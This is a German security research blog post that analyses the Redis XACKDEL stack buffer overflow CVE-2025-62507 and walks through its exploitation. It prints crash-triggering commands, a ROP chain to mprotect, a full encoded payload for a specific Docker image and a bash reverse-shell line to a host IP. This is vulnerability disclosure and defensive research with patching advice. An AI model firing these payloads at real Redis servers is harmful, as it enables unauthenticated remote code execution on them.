Analyse und Exploitation von CVE-2025-62507: Remote Code Execution in Redis
In Redis wurde vor Kurzem eine Stack Buffer Overflow Schwachstelle entdeckt, die als CVE-2025-62507 identifiziert und in Version 8.3.2 behoben wurde. Das Advisory stuft das Problem mit einem High-Severity-Rating und einem CVSS v3 Score von 8.8 ein.
Laut offiziellem Advisory kann ein User den Befehl XACKDEL mit mehreren IDs ausführen und so einen Stack Buffer Overflow triggern, was potenziell zu Remote Code Execution (RCE) führt.
Obwohl Memory-Corruption-Lücken durch moderne Security-Mitigations heute deutlich schwerer auszunutzen sind als früher, führten sie historisch gesehen fast immer direkt zu einer vollständigen Kompromittierung. Da diese Schwachstelle zwar als „High“, aber nicht als „Critical“ eingestuft wurde, hat das JFrog Security Research Team untersucht, wie realistisch ein RCE-Szenario im Jahr 2026 tatsächlich ist.
Zum Zeitpunkt der Analyse existierten weder ein öffentlicher Proof of Concept (PoC) noch technische Detailanalysen. Wir haben uns daher zum Ziel gesetzt, die reale Exploitability von CVE-2025-62507 zu bewerten. In diesem Blogpost präsentieren wir eine erfolgreiche Exploitation der Schwachstelle und zeigen auf, welche Schritte notwendig sind, um daraus einen voll funktionsfähigen Exploit zu entwickeln.
Die Ursache von CVE-2025-62507
Redis (Remote Dictionary Server) ist ein Open-Source In-Memory-Datenspeicher, der häufig als Datenbank oder – über das Streams-Feature – als Message Broker eingesetzt wird.
Redis Streams dienen der Implementierung von Message Queues und Event Pipelines. Nachrichten werden an einen Stream angehängt, an Consumer einer Consumer-Group zugestellt und in einer internen Struktur, der Pending Entries List (PEL), nachverfolgt, bis sie mit einem Acknowledgment als verarbeitet markiert werden. Diese Nachverfolgung garantiert eine zuverlässige Zustellung, erfordert jedoch ein präzises Cleanup der Referenzen nach Abschluss der Verarbeitung.
Die Schwachstelle wird durch den neuen Befehl XACKDEL ausgelöst, der in Redis 8.2 eingeführt wurde, um das Stream-Cleanup zu optimieren. XACKDEL kombiniert das Bestätigen von Nachrichten (analog zu XACK) und deren Löschen (analog zu XDEL) in einer einzigen atomaren Operation.
XACKDEL ermöglicht eine granulare Kontrolle über den Lifecycle einer Nachricht, insbesondere durch Optionen wie KEEPREF, DELREF und ACKED. Diese bestimmen, wie Referenzen in der PEL behandelt werden und ob Message-Metadaten vollständig entfernt werden. Dieses Design reduziert den Overhead für das Bookkeeping und macht separate Aufrufe von XACK und XDEL in High-Throughput-Szenarien überflüssig.
Die interne Komplexität beim Parsen und Verwalten mehrerer Message-IDs innerhalb eines einzelnen Commands führte jedoch letztlich zur Sicherheitslücke CVE-2025-62507.
Technische Analyse von CVE-2025-62507
Bei der Untersuchung des Patches für CVE-2025-62507 wird die zugrunde liegende Schwachstelle sofort ersichtlich. Der Bug befindet sich in der Implementierung der Funktion xackdelCommand. Diese Funktion ist dafür zuständig, die vom User übergebene Liste von Stream-IDs zu parsen und zu verarbeiten.
diff --git a/src/t_stream.c b/src/t_stream.c
index d721780a6..3ef48943f 100644
--- a/src/t_stream.c
+++ b/src/t_stream.c
@@ -3215,6 +3215,8 @@ void xackdelCommand(client *c) {
* executed in a "all or nothing" fashion. */
streamID static_ids[STREAMID_STATIC_VECTOR_LEN];
streamID *ids = static_ids;
+ if (args.numids > STREAMID_STATIC_VECTOR_LEN)
+ ids = zmalloc(sizeof(streamID)*args.numids);
for (int j = 0; j < args.numids; j++) { if (streamParseStrictIDOrReply(c,c->argv[j+args.startidx],&ids[j],0,NULL) != C_OK)
goto cleanup;
XACKDEL akzeptiert eine variable Anzahl an Message-IDs. Um diese effizient zu verarbeiten, parst die Funktion jede vom User bereitgestellte ID und speichert sie in einem auf dem Stack allokierten Array mit fester Größe (static_ids). Jede geparste Stream-ID wird intern als streamID-Struktur dargestellt, die aus zwei 64-Bit-Integern besteht.
Das Kernproblem besteht darin, dass der Code nicht überprüft, ob die Anzahl der vom Client übermittelten IDs innerhalb der Grenzen dieses Stack-Arrays liegt. Wenn mehr IDs gesendet werden, als das Array aufnehmen kann, schreibt die Funktion über das Ende des Buffers hinaus.
Dies führt zu einem klassischen stack-based Buffer Overflow.
Da die geparsten Stream-IDs vollständig vom Angreifer kontrolliert werden, korrumpiert der Overflow nicht nur benachbarte Daten; er ermöglicht es einem Angreifer, sensible Stack-Inhalte wie gespeicherte Register und die Return Address der Funktion gezielt zu überschreiben. Da die Struktur der Stream-IDs aus zwei unabhängigen numerischen Werten besteht, lässt sich der überschriebene Speicher präzise kontrollieren, um erfolgreich eine Remote Code Execution zu erzielen.
In den betroffenen Versionen kann dieser Zustand in der Redis Standardkonfiguration remote ausgelöst werden – allein durch das Senden eines einzelnen XACKDEL-Commands mit einer entsprechend hohen Anzahl an Message-IDs. Da Redis standardmäßig keine Authentifizierung erzwingt, handelt es sich hierbei um eine unauthenticated Remote Code Execution.
Exploitation von CVE-2025-62507
Der Fixing-Commit enthält einen von den Redis-Maintainern hinzugefügten Regression Test, um sicherzustellen, dass diese Schwachstelle nicht mehr getriggert werden kann. Der Test führt zunächst einen XGROUP CREATE-Befehl aus, gefolgt von einem XACKDEL-Command, der 50 Message-IDs enthält.
diff --git a/tests/unit/type/stream-cgroups.tcl b/tests/unit/type/stream-cgroups.tcl
index 05c56074e..a5265056c 100644
--- a/tests/unit/type/stream-cgroups.tcl
+++ b/tests/unit/type/stream-cgroups.tcl
@@ -1658,5 +1658,20 @@ start_server {
assert_equal [dict get $group lag] 0
assert_equal [dict get $group entries-read] 1
}
+
+ test "XACKDEL with IDs exceeding STREAMID_STATIC_VECTOR_LEN for heap allocation" {
+ r DEL mystream
+ r XGROUP CREATE mystream mygroup $ MKSTREAM
+
+ # Generate IDs exceeding STREAMID_STATIC_VECTOR_LEN (8) to force heap allocation
+ # instead of using the static vector cache, ensuring proper memory allocation.
+ set ids {}
+ for {set i 0} {$i < 50} {incr i} {
+ lappend ids "$i-1"
+ }
+ set result [r XACKDEL mystream mygroup IDS 50 {*}$ids]
+ assert {[llength $result] == 50}
+ r PING
+ }
}
}
Dieser Testcase verdeutlicht sowohl den vulnerablen Code-Pfad als auch die minimale Befehlssequenz, die erforderlich ist, um diesen zu erreichen. Er bietet somit einen optimalen Ausgangspunkt für einen Exploit.
Um die Schwachstelle zu testen, können wir einen einfachen Redis-Server mit dem offiziellen Redis-Docker-Image betreiben:
sudo docker run --name my-redis -p 6379:6379 --rm redis:8.2.1
Und in einer separaten Shell führen wir das Redis-CLI aus:
redis-cli
Im CLI führen wir dieselben Befehle aus, die Redis für den Regression Test nutzt:
DEL mystream
XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 50 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1
11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1
27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1
43-1 44-1 45-1 46-1 47-1 48-1 49-1
In unserem Setup passierte dabei nichts weiter. Erst das Hinzufügen von zwei weiteren IDs brachte den Server zum Absturz:
DEL mystream
XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 52 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1
11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1
27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1
43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1
Beim Überprüfen der Logs des abgestürzten Servers fielen uns am Anfang des Crash-Reports Daten wie die folgenden auf:
Man erkennt, dass der Prozess versuchte, eine Instruction innerhalb des redis-server-Binaries auszuführen und dabei auf die Adresse 0x9 zugreifen wollte.
Versuchen wir nun, eine weitere ID hinzuzufügen:
XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 53 0-1 1-1 2-1 3-1 4-1 5-1 6-1 7-1 8-1 9-1 10-1
11-1 12-1 13-1 14-1 15-1 16-1 17-1 18-1 19-1 20-1 21-1 22-1 23-1 24-1 25-1 26-1
27-1 28-1 29-1 30-1 31-1 32-1 33-1 34-1 35-1 36-1 37-1 38-1 39-1 40-1 41-1 42-1
43-1 44-1 45-1 46-1 47-1 48-1 49-1 50-1 51-1 52-1
Das Crash-Log sieht nun so aus:
An diesem Punkt wird das Verhalten interessant. Der Prozess versuchte, auf die Adresse 0x1 zu springen. Das wirft sofort die Frage auf, woher dieser Wert stammt. Die wahrscheinlichste Quelle ist die letzte Stream-ID, die wir der Liste hinzugefügt haben. Um dies zu verifizieren, ändern wir die letzte ID von 52-1 auf 52-2 und beobachten, ob sich das Crash-Verhalten entsprechend ändert:
Das Crash-Log zeigt nun einen Instruction Pointer von 0x2. Damit ist klar, dass es sich um einen klassischen Stack-based Buffer Overflow handelt, bei dem die Return Address der Funktion überschrieben wird. Die zweite numerische Komponente der letzten Stream-ID kontrolliert direkt den Wert, der in den Slot der Return Address geschrieben wird.
Überraschenderweise zeigt diese direkte Kontrolle über den EIP, dass Redis im offiziellen Docker-Image ohne Stack Canary Protections kompiliert wurde!
Nachdem die Kontrolle über den EIP bestätigt war, haben wir das „redis-server“-Binary aus dem Docker-Image extrahiert und für eine genauere Untersuchung in IDA Pro geöffnet. Werfen wir einen Blick auf das Stack-Layout der Funktion xackdelCommand.
Wir können sehen, dass sich das static_idsArray bei Offset -0x340 befindet und jedes streamID Element 16 Bytes lang ist:
Wenn wir 0x340 durch 16 teilen, ergibt das 52. Das bedeutet, dass die 53. ID die Return Address der Funktion überschreibt. Eine genauere Analyse des Codes zeigt, dass Stream-IDs als Paare von zwei 64-Bit-Integern (getrennt durch einen Bindestrich) geparst werden. Diese Werte werden direkt in die streamID-Struktur geschrieben. Das gibt uns die Möglichkeit, ohne jegliche Begrenzung beliebige Werte auf den Stack zu schreiben.
OK.Und was folgt daraus?
Der nächste Schritt besteht darin, den Execution Flow umzuleiten und vom Angreifer kontrollierten Code auszuführen. Dazu müssen wir die Kontrolle an eine spezifische Speicheradresse übergeben, die eine Codeausführung ermöglicht. In der Praxis wird dies durch Address Space Layout Randomization (ASLR) erschwert, da der Speicher bei jedem Prozessstart nach dem Zufallsprinzip neu angeordnet wird.
In einem realen Angriffsszenario würde diese Schwachstelle typischerweise mit einem Information Disclosure Flaw kombiniert werden, um Speicheradressen zu leaken und ASLR zu umgehen. Für diesen Proof of Concept (PoC) deaktivieren wir ASLR jedoch auf unserem Testsystem, um vorhersehbare Speicheradressen zu erhalten und uns rein auf den Nachweis der Exploitability zu konzentrieren:
echo 0 > /proc/sys/kernel/randomize_va_space
Normalerweise müssten wir zusätzlich die Stack Canary Protection umgehen (ebenfalls mithilfe eines Information Disclosure Flaws). Wie jedoch bereits erwähnt, wurde das im Docker-Image enthaltene Binary ohne diesen Schutzmechanismus kompiliert. Wir konnten dies auch durch die Untersuchung des Binaries selbst bestätigen: Wie man sieht, führt der Epilog der Funktion keinerlei Prüfungen durch, bevor er zurückkehrt.
Wir haben das Binary aus dem Docker-Image mit dem auf unserem Host-System installierten Binary verglichen (Redis-Version 7.0.15, installiert über den Ubuntu-Paketmanager). Interessanterweise ist beim Host-System die Stack Canary Protection aktiviert.
Wie immer gibt es einen weiteren Sicherheitsmechanismus, der für eine erfolgreiche Exploitation umgangen werden muss: die NX (No-eXecute) Protection. Diese verhindert die Ausführung von Code in bestimmten Speicherbereichen, wie dem Stack, indem sie diese als nicht ausführbar markiert.
Um NX zu umgehen, konstruieren wir eine Return-Oriented Programming (ROP) Chain. Dabei nutzen wir bereits im Binary vorhandene Befehlssequenzen, sogenannte Gadgets. Anstatt Code direkt vom Stack auszuführen, ruft die ROP-Chain legitime Funktionen auf, um die Memory-Permissions zu ändern.
In unserem Fall ist es das Ziel, den Stack durch den Aufruf der Funktion mprotect ausführbar zu machen. Hierfür übergeben wir kontrollierte Argumente: die Ziel-Speicheradresse, die Größe des Speicherbereichs und die gewünschten Protection-Flags. Aus den Crash-Logs konnten wir entnehmen, dass der Stack Pointer (RSP) auf 0x7fffffffe7d0 zeigte. Basierend darauf richten wir die Zieladresse am Anfang der Memory Page bei 0x7fffffffe000 aus, fordern eine Größe von 0x20000 Bytes an und setzen die Berechtigungen auf Read, Write und Execute .
mprotect(0x7fffffffe000, 0x20000, PROT_READ | PROR_WRITE | PROT_EXEC)
Um mprotect aufzurufen, nutzen wir Code wieder, der bereits im Address Space des Prozesses existiert – konkret die Implementierung von mprotect in der libc-Library. Dieser Ansatz ist eine Form von ret2libc, bei der die Ausführung auf eine vertrauenswürdige Library-Funktion umgeleitet wird, anstatt direkt in injizierten Shellcode zu springen.
Dies wird durch die Konstruktion einer ROP-Chain erreicht, die aus einfachen Gadgets im redis-server-Binary besteht. Insbesondere benötigen wir Gadgets, die Werte in die Registerrdi, rsi, und rdx laden, da diese den ersten drei Argumenten von mprotect entsprechen. Jedes Gadget muss mit einer RET-Instruction enden, damit die Ausführung kontrolliert durch die gesamte Chain fließen kann.
Sobald die Argumente gesetzt sind, springt die Ausführung per Return in die mprotect-Funktion, welche die Memory Permissions des Stacks aktualisiert. Danach kann die Kontrolle an vom Angreifer kontrollierte Daten auf dem Stack übergeben werden, womit der Übergang von einem Memory Corruption Bug zu einer Arbitrary Code Execution abgeschlossen ist.
Alle diese Gadgets ließen sich problemlos im redis-server-Binary finden.
Nach dem erfolgreichen Aufruf von mprotect und der Markierung des Stacks als ausführbar besteht der letzte Schritt darin, die Ausführung auf den kontrollierten Code zu übertragen. Hierzu nutzen wir ein CALL rsp-Gadget, das ebenfalls leicht im redis-server-Binary zu finden war. Dieses Gadget leitet die Ausführung direkt an den aktuellen Stack Pointer (RSP) weiter, an dem unser Payload platziert ist.
An diesem Punkt muss der Stack präzise so aufgebaut sein, dass die Ausführung nach dem Return von mprotect durch die ROP-Chain und anschließend direkt in unseren Code fließt. Das Stack-Layout besteht daher aus den ROP-Gadgets für das Setup und den Aufruf von mprotect, unmittelbar gefolgt vom Payload.
Das präparierte Stack-Layout sieht wie folgt aus:
Als einfachen Test-Payload platzieren wir eine einzelne JJMP 0x0-Instruction im finalen Slot. Dies versetzt den Redis-Server in eine Endlosschleife und bestätigt damit alle bisher besprochenen Schritte.
Vollständiger Payload:
XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 57 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-93824992764711 140737488347136-93824992781334 131072-93824994830866 7-140737344395808 93824993018745-65259
Von diesem Punkt an ist es trivial, den Shellcode durch die Ausführung eines Systembefehls und eine Reverse Shell zu ersetzen. Wir haben einen einfachen Shellcode erstellt, der die system-Funktion aufruft, um eine Reverse Shell zu initiieren, und anschließend in einer Endlosschleife verharrt. Wir haben ermittelt, dass sich die system-Funktion an der Adresse 0x7FFFF7600490 befindet. Daraufhin haben wir den folgenden Shellcode kompiliert:
lea rdi, [rip+data]
mov rax, 0x7FFFF7600490 # system
call rax
loop:
jmp loop
data:
Am Ende unseres Shellcodes haben wir den Befehl hinzugefügt, den wir ausführen möchten:
/bin/bash -c '/bin/bash -i >& /dev/tcp/172.17.0.1/4444 0>&1'
Dieser Befehl initiiert eine Bash-Shell, die wiederum eine weitere Bash-Shell startet. Diese leitet ihren Output an Port 4444 der IP 172.17.0.1 weiter – die Host-IP innerhalb von Docker. Wir haben die Bash in eine weitere Bash gekapselt, da die system-Funktion standardmäßig /bin/sh nutzt. Diese zeigt oft auf dash, was die Reverse Shell nicht korrekt erzeugen konnte. Daher haben wir uns entschieden, das Parsing des Befehls innerhalb der Bash zu erzwingen.
Auf dem Host haben wir Netcat gestartet, das auf Port 4444 lauscht. Anschließend haben wir den Payload gesendet:
XGROUP CREATE mystream mygroup $ MKSTREAM
XACKDEL mystream mygroup IDS 62 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1
1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1
1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1 1-1
1-93824992764711 140737488347136-93824992781334 131072-93824994830866
7-140737344395808 93824993018745-5188146770969726280
36028759975170232-7593684693624618752 3251713775725850478-3417785037639589987
2335447498982908258-3420032447996241470 3328783758969037684-3760278288324245297
3541586533393118260-39
Und wir haben die Reverse Shell!
Fehlende Komponenten für einen Fully-Weaponized Exploit
Wie bereits erwähnt, nutzen die meisten modernen Systeme ASLR, um den Address Space der laufenden Prozesse zu randomisieren. Das bedeutet, dass ein Angreifer für eine vollständige Ausnutzung dieser Schwachstelle zusätzlich Speicheradressen des Prozesses und der Libraries leaken muss – möglicherweise über eine separate Data Leak Vulnerability. In Fällen, in denen Redis mit Stack Canaries kompiliert wurde, müsste der Angreifer zudem einen Weg finden, den Stack Canary auszulesen.
Wie verbreitet ist CVE-2025-62507 heute?
Laut Shodan gibt es zum Zeitpunkt der Erstellung dieses Beitrags 2.924 Server, die unmittelbar über diese Schwachstelle ausnutzbar sind, da:
1. Sie eine vulnerable Version von Redis ausführen (8.2.0, 8.2.1, 8.2.2).
2. Sie über keinerlei Authentifizierungs-Mechanismen verfügen.
Die tatsächliche Anzahl ausnutzbarer Server könnte jedoch weitaus höher liegen, da Shodan zudem 183.907 Redis-Server mit aktivierter Authentifizierung gefunden hat. Diese Server könnten ebenfalls in den Bereich der vulnerablen Versionen fallen. Angreifer könnten hier versuchen, das Login-Passwort per Brute-Force zu knacken, um sich Zugriff zu verschaffen und anschließend die Schwachstelle auszunutzen.
Fazit
Diese Schwachstelle verdeutlicht, dass selbst in modernen, ausgereiften Projekten wie Redis klassische Memory-Corruption-Fehler auftreten können, sobald neue, komplexe Features eingeführt werden. Während Stack-based Buffer Overflows oft als Problem der Vergangenheit betrachtet werden, zeigt CVE-2025-62507, dass diese Sicherheitslücken nicht nur weiterhin existieren, sondern überraschend einfach auszunutzen sein können.
Entwickler müssen sicherstellen, dass Security-Mitigations wie der Stack Canary Schutz während des Kompilierungsprozesses aktiviert sind (beispielsweise durch das Flag -fstack-protector bei der Verwendung von gcc). Wie unsere Untersuchung zeigt, kann das Fehlen dieser Schutzmechanismen in bestimmten Umgebungen einen „High-Severity“-Bug in einen trivialen Pfad für eine Remote Code Execution verwandeln.
Schließlich sollten Anwender sich bei der Priorisierung von Patches nicht ausschließlich auf CVSS-Scores verlassen. Obwohl CVE-2025-62507 als „High“ und nicht als „Critical“ eingestuft wurde, erwies sie sich als gefährlicher und direkter Vektor für eine Remote Code Execution.
Um über weitere Angriffe und Schwachstellen auf dem Laufenden zu bleiben, besuchen Sie das JFrog Security Research Center für aktuelle Informationen zu CVEs und Fixes. Zum Schutz Ihrer Software Supply Chain informieren Sie sich über die JFrog Platform.












